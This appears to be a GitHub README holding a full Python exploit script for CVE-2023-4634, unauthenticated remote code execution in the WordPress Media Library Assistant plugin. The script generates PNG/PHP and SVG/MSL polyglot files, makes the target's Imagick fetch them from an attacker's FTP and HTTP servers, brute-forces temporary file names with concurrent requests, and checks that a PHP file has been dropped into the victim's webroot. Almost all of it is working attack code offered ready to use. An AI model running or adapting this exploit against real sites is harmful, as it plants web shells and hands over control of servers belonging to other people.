README.md
Rendering markdown...
import grequests
import requests_ftp
import argparse
import requests
import random
import time
import re
import os
from sys import stdout
from PIL import Image
from PIL.PngImagePlugin import PngInfo
from colorama import Fore, Style
# Banner and color output
COLORS = {
"grey": 30,
"red": 31,
"green": 32,
"yellow": 33,
"blue": 34,
"magenta": 35,
"cyan": 36,
"white": 37
}
def colored(text: str, color: str) -> str:
"""Colorize text with ANSI escape sequences."""
return f"\033[{COLORS[color]}m{text}\033[0m"
MAX_CONCURRENT_THREADS = 10
BRUTEFORCE_LIST = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-"
CHECK_INTERVAL = 10
MAX_CHECK_ATTEMPTS = 9
def clear():
os.system('clear' if os.name == 'posix' else 'cls')
def banners():
clear()
stdout.write(" \n")
stdout.write(""+Fore.LIGHTRED_EX +"███╗ ███╗███████╗██████╗ ██╗ █████╗ ██╗ ██╗██████╗ ██████╗ █████╗ ██████╗ ██╗ ██╗\n")
stdout.write(""+Fore.LIGHTRED_EX +"████╗ ████║██╔════╝██╔══██╗██║██╔══██╗ ██║ ██║██╔══██╗██╔══██╗██╔══██╗██╔══██╗╚██╗ ██╔╝\n")
stdout.write(""+Fore.LIGHTRED_EX +"██╔████╔██║█████╗ ██║ ██║██║███████║█████╗██║ ██║██████╔╝██████╔╝███████║██████╔╝ ╚████╔╝\n")
stdout.write(""+Fore.LIGHTRED_EX +"██║╚██╔╝██║██╔══╝ ██║ ██║██║██╔══██║╚════╝██║ ██║██╔══██╗██╔══██╗██╔══██║██╔══██╗ ╚██╔╝\n")
stdout.write(""+Fore.LIGHTRED_EX +"██║ ╚═╝ ██║███████╗██████╔╝██║██║ ██║ ███████╗██║██████╔╝██║ ██║██║ ██║██║ ██║ ██║\n")
stdout.write(""+Fore.LIGHTRED_EX +"╚═╝ ╚═╝╚══════╝╚═════╝ ╚═╝╚═╝ ╚═╝ ╚══════╝╚═╝╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝\n")
stdout.write(""+Fore.YELLOW +"═════════════╦═════════════════════════════════╦════════════════════════════════════════════\n")
stdout.write(""+Fore.YELLOW +"╔════════════╩═════════════════════════════════╩═════════════════════════════╗\n")
stdout.write(""+Fore.YELLOW +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"AUTHOR "+Fore.RED+" |"+Fore.LIGHTWHITE_EX+" PARI MALAM "+Fore.YELLOW+"║\n")
stdout.write(""+Fore.YELLOW +"╔════════════════════════════════════════════════════════════════════════════╝\n")
stdout.write(""+Fore.YELLOW +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"GITHUB "+Fore.RED+" |"+Fore.LIGHTWHITE_EX+" GITHUB.COM/PARI-MALAM "+Fore.YELLOW+"║\n")
stdout.write(""+Fore.YELLOW +"╚════════════════════════════════════════════════════════════════════════════╝\n")
print(f"{Fore.YELLOW}[Wordpress] - {Fore.GREEN}Unauthenticated Remote Code Execution with default Imagick\n")
banners()
def generate_polyglot_png(payload, png_polyglot_name):
if not os.path.exists("./exploit-png"):
os.mkdir("./exploit-png")
try:
targetImage = Image.open("exploit-png/sample.png")
metadata = PngInfo()
metadata.add_text("Comment", payload)
targetImage.save("exploit-png/" + png_polyglot_name, pnginfo=metadata)
print(colored("\t\t[-] " + png_polyglot_name + " polyglot PNG/PHP file generated", "green"))
exit()
except Exception as e:
print(colored("\t[x] No PNG file found in the folder exploit-png, add a standard PNG sample.png in it", "red"))
exit()
def generate_svg_files(svg_polyglot_name, svg_exploiter_names, remotehttp, png_polyglot_name, webserverpath, exploitname):
if "FUZZ" not in svg_exploiter_names:
print(colored("\t\t[x] The --svg_exploiter_names needs to include a FUZZ part to create the files", "red"))
exit()
else:
print(colored("\t[-] Generating polyglot SVG/MSL file using user inputs", "cyan"))
poly_svg = f"""<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="{remotehttp}/{png_polyglot_name}" />
<resize geometry="400x400" />
<write filename="{webserverpath}/{exploitname}" />
<get width="base-width" height="base-height" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://192.192.192.23:1664/neverExist.svg" height="100" width="100"/>
</svg>
</image>"""
if not os.path.exists("./remote_ftp"):
os.mkdir("./remote_ftp")
f = open(f"./remote_ftp/{svg_polyglot_name}", "w")
f.write(poly_svg)
f.close()
f = open(f"./remote_ftp/{svg_polyglot_name}[0]", "w")
f.write(poly_svg)
f.close()
print(colored("\t\t[-] {svg_polyglot_name} generated", "green"))
# Generating msl:vid bruteforcers
print(colored("\t[-] Generating bruteforce file using text:vid:msl formatter", "cyan"))
for i in BRUTEFORCE_LIST:
filename = svg_exploiter_names.replace("FUZZ", i)
exploiter_content = f"""<svg width="500" height="500"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="text:vid:msl:/tmp/magick-{i}*" width="500" height="500" />
</svg>"""
f = open(f"./remote_ftp/{filename}", "w")
f.write(exploiter_content)
f.close
f = open(f"./remote_ftp/{filename}[0]", "w")
f.write(exploiter_content)
f.close
print(colored("\t\t[-] {filename} generated", "green"))
print(colored("\t[-] All files have been generated successfully", "green"))
exit()
if __name__ == '__main__':
parser = argparse.ArgumentParser(
prog="CVE-2023-4634",
allow_abbrev=False
)
parser.add_argument('--target', nargs='?', help='URL of the Target, ex: http://victimwordpress.org')
parser.add_argument('--remoteftp', nargs='?', help='URL of the remote FTP use to store SVGs files, ex: ftp://X.X.X.X:PORT')
parser.add_argument('--remotehttp', nargs='?', help='URL of the remote HTTP use to store the final Polyglot PNG/PHP file, ex: http://X.X.X.X:PORT')
parser.add_argument('--svg_polyglot_name', nargs='?', help='Name of the external polyglot SVG/MSL file used (for generation or final usage), ex: poly.svg')
parser.add_argument('--svg_exploiter_names', nargs='?', help='Name of the external VID bruteforcers file use, the FUZZ part will be replaced by the first letter bruteforced (for generation or final usage), ex: exploiter_FUZZ.svg')
parser.add_argument('--png_polyglot_name', nargs='?', help='Name of the external PNG/PHP to use (for generation or final usage), ex: exploiter_FUZZ.svg')
parser.add_argument('--concurrency', nargs='?', type=int, default=100, help='Number of concurrent long SVG conversion requests to make (default 100)')
parser.add_argument('--generatesvg', action='store_true', help='Generate both polyglot SVG/MSL file and VID bruteforcer within the remote_ftp directory')
parser.add_argument('--webserverpath', help='Path of the webserver on the victim server (could be found with the LFI and wp-config file), ex: /var/www/html')
parser.add_argument('--exploitname', help='Dropped exploit name, ex: pwned.php')
parser.add_argument('--generatepng', action='store_true', help='Generate polyglot PNG/PHP file, integrate php file with -payload option in exploit-png folder')
parser.add_argument('--payload', help='PHP Payload to integrate in the PNG file, ex: <?php phpinfo(); ?>')
args = parser.parse_args()
# Assigning arguments to variables
target = args.target
remoteftp = args.remoteftp
remotehttp = args.remotehttp
svg_polyglot_name = args.svg_polyglot_name
svg_exploiter_names = args.svg_exploiter_names
png_polyglot_name = args.png_polyglot_name
concurrency = args.concurrency
generatesvg = args.generatesvg
generatepng = args.generatepng
webserverpath = args.webserverpath
exploitname = args.exploitname
payload = args.payload
# Print banner
print(colored("\n", "white"))
print(colored("[-] Checking arguments", "cyan"))
# Option to generate the polyglot PNG/PHP file
if generatepng:
print(colored("\t[-] Option to generate polyglot PNG/PHP selected", "cyan"))
if not payload or not png_polyglot_name:
print(colored("\t[x] The --payload and --png_polyglot_name options are needed to create the PNG file", "red"))
exit()
generate_polyglot_png(payload, png_polyglot_name)
# Generate SVG Files
elif generatesvg:
print(colored("\t[-] Option to generate SVG selected", "cyan"))
if not svg_polyglot_name or not svg_exploiter_names or not remotehttp or not png_polyglot_name or not webserverpath or not exploitname:
print(colored("\t\t[x] The --svg_polyglot_name, --svg_exploiter_names, --remotehttp, --png_polyglot_name, --webserverpath and --exploitname options are needed to create the SVG/MSL Polyglot file", "red"))
exit()
generate_svg_files(svg_polyglot_name, svg_exploiter_names, remotehttp, png_polyglot_name, webserverpath, exploitname)
# Exploitation Part
elif target and remoteftp and remotehttp and svg_polyglot_name and svg_exploiter_names and png_polyglot_name and exploitname:
print(colored("\t[-] All arguments for exploiting target are set, beginning the first checks", "green"))
if "FUZZ" not in svg_exploiter_names:
print(colored("\t\t[x] The --svg_exploiter_names needs to include a FUZZ part to be used in exploitation", "red"))
exit()
target_mla = target + "/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php"
target_mla_readme = target + "/wp-content/plugins/media-library-assistant/readme.txt"
try:
r = requests.get(target_mla_readme)
except Exception as e:
print(colored("\t[x] The target seems to be down, error:" + str(e), "red"))
if r.status_code == 404:
print(colored("\t[x] The target seems not to be running the plugin", "red"))
exit()
else:
if re.findall('(?mi)Stable tag: ([0-9.]+)', r.text):
if float(re.findall('(?mi)Stable tag: ([0-9.]+)', r.text)[0]) < 3.10:
print(colored("\t[-] The target seems to be running the plugin in a vulnerable version (<3.10)", "green"))
else:
print(colored("\t[x] The Plugin version seems to be installed but not in a vulnerable version", "red"))
# Checking FTP files
ftp_target = remoteftp + "/" + svg_polyglot_name
ftp_taget_frame = ftp_target + "[0]"
requests_ftp.monkeypatch_session()
s = requests.Session()
try:
resp = s.get(ftp_target)
except:
print(colored("\t[x] Error while getting the remote FTP polyglot SVG/MSL file " + ftp_target, "red"))
exit()
if resp.status_code == 200:
print(colored("\t[-] The remote FTP polyglot SVG/MSL file is reachable", "green"))
try:
resp = s.get(ftp_taget_frame)
except:
print(colored("\t[x] Error while getting the remote FTP polyglot SVG/MSL file ending with [0] " + ftp_target, "red"))
exit()
if resp.status_code == 200:
print(colored("\t[-] The remote FTP polyglot SVG/MSL file ending with [0] is reachable", "green"))
ftp_target_exploiter = remoteftp + "/" + svg_exploiter_names.replace("FUZZ", random.choice(BRUTEFORCE_LIST))
ftp_taget_exploiter_frame = ftp_target_exploiter + "[0]"
requests_ftp.monkeypatch_session()
s = requests.Session()
try:
resp = s.get(ftp_target_exploiter)
except:
print(colored("\t[x] Error while getting a sample remote FTP exploiter VID test file " + ftp_target, "red"))
exit()
if resp.status_code == 200:
print(colored("\t[-] A sample remote FTP exploiter VID test file is reachable", "green"))
try:
resp = s.get(ftp_taget_exploiter_frame)
except:
print(colored("\t[x] Error while getting a sample remote FTP exploiter VID test file ending with [0] " + ftp_target, "red"))
exit()
if resp.status_code == 200:
print(colored("\t[-] A sample Remote FTP exploiter VID test file ending with [0] is reachable", "green"))
# Checking the final PNG/PHP polyglot file
remote_virus = remotehttp + "/" + png_polyglot_name
try:
r = requests.get(remote_virus)
except Exception as e:
print(colored("\t[x] The Remote HTTP Server Hosting PNG Virus seems to be down, error:" + str(e), "red"))
exit()
if r.status_code == 404:
print(colored("\t[x] The remote PNG/PHP file is not reachable (404)", "red"))
exit()
else:
print(colored("\t[-] The remote Exploit PNG/PHP file is reachable", "green"))
# Launching exploitation
print(colored("[!] All arguments have been checked correctly, launching exploitation", "yellow"))
print(colored("[-] Launching " + str(concurrency) + " Threads on long SVG", "cyan"))
exploit_url = target_mla + "?mla_stream_file=" + ftp_target
exploit_ploly_list = [exploit_url] * concurrency
rs = (grequests.get(u, timeout=0.5) for u in exploit_ploly_list)
grequests.map(rs)
print(colored("[-] Waiting 5 seconds for the file to be created", "cyan"))
time.sleep(5)
print(colored("[-] Starting Bruteforcing with VID exploiters", "cyan"))
exploit_url_list = []
for i in BRUTEFORCE_LIST:
exploit_url = target_mla + "?mla_stream_file=" + remoteftp + "/" + svg_exploiter_names.replace("FUZZ", i)
exploit_url_list.append(exploit_url)
rs = (grequests.get(u, timeout=0.5) for u in exploit_url_list)
grequests.map(rs)
time.sleep(5)
print(colored("[-] Checking the drop of " + exploitname, "cyan"))
target_virus = target + "/" + exploitname
i = 0
# Timeout set to 80 seconds
while i <= 8:
try:
r = requests.get(target_virus)
except Exception as e:
print(colored("\t[!] Error while reaching the target URL, hope you did not crash it: " + str(e), "red"))
exit()
if r.status_code == 200:
print(colored("\t[-] Exploit worked! The PHP file is in the web directory. Enjoy 🔥", "green"))
exit()
else:
print(colored("\t[!] Not yet, try " + str(i+1) + " on 9 ... checking again in 10 seconds", "yellow"))
time.sleep(10)
i += 1
continue
print(colored("\t[!] Exploit has not worked, try by increasing concurrency value or use another method", "red"))
exit()
else:
print(colored("\t[!] Missing arguments!", "red"))
exit()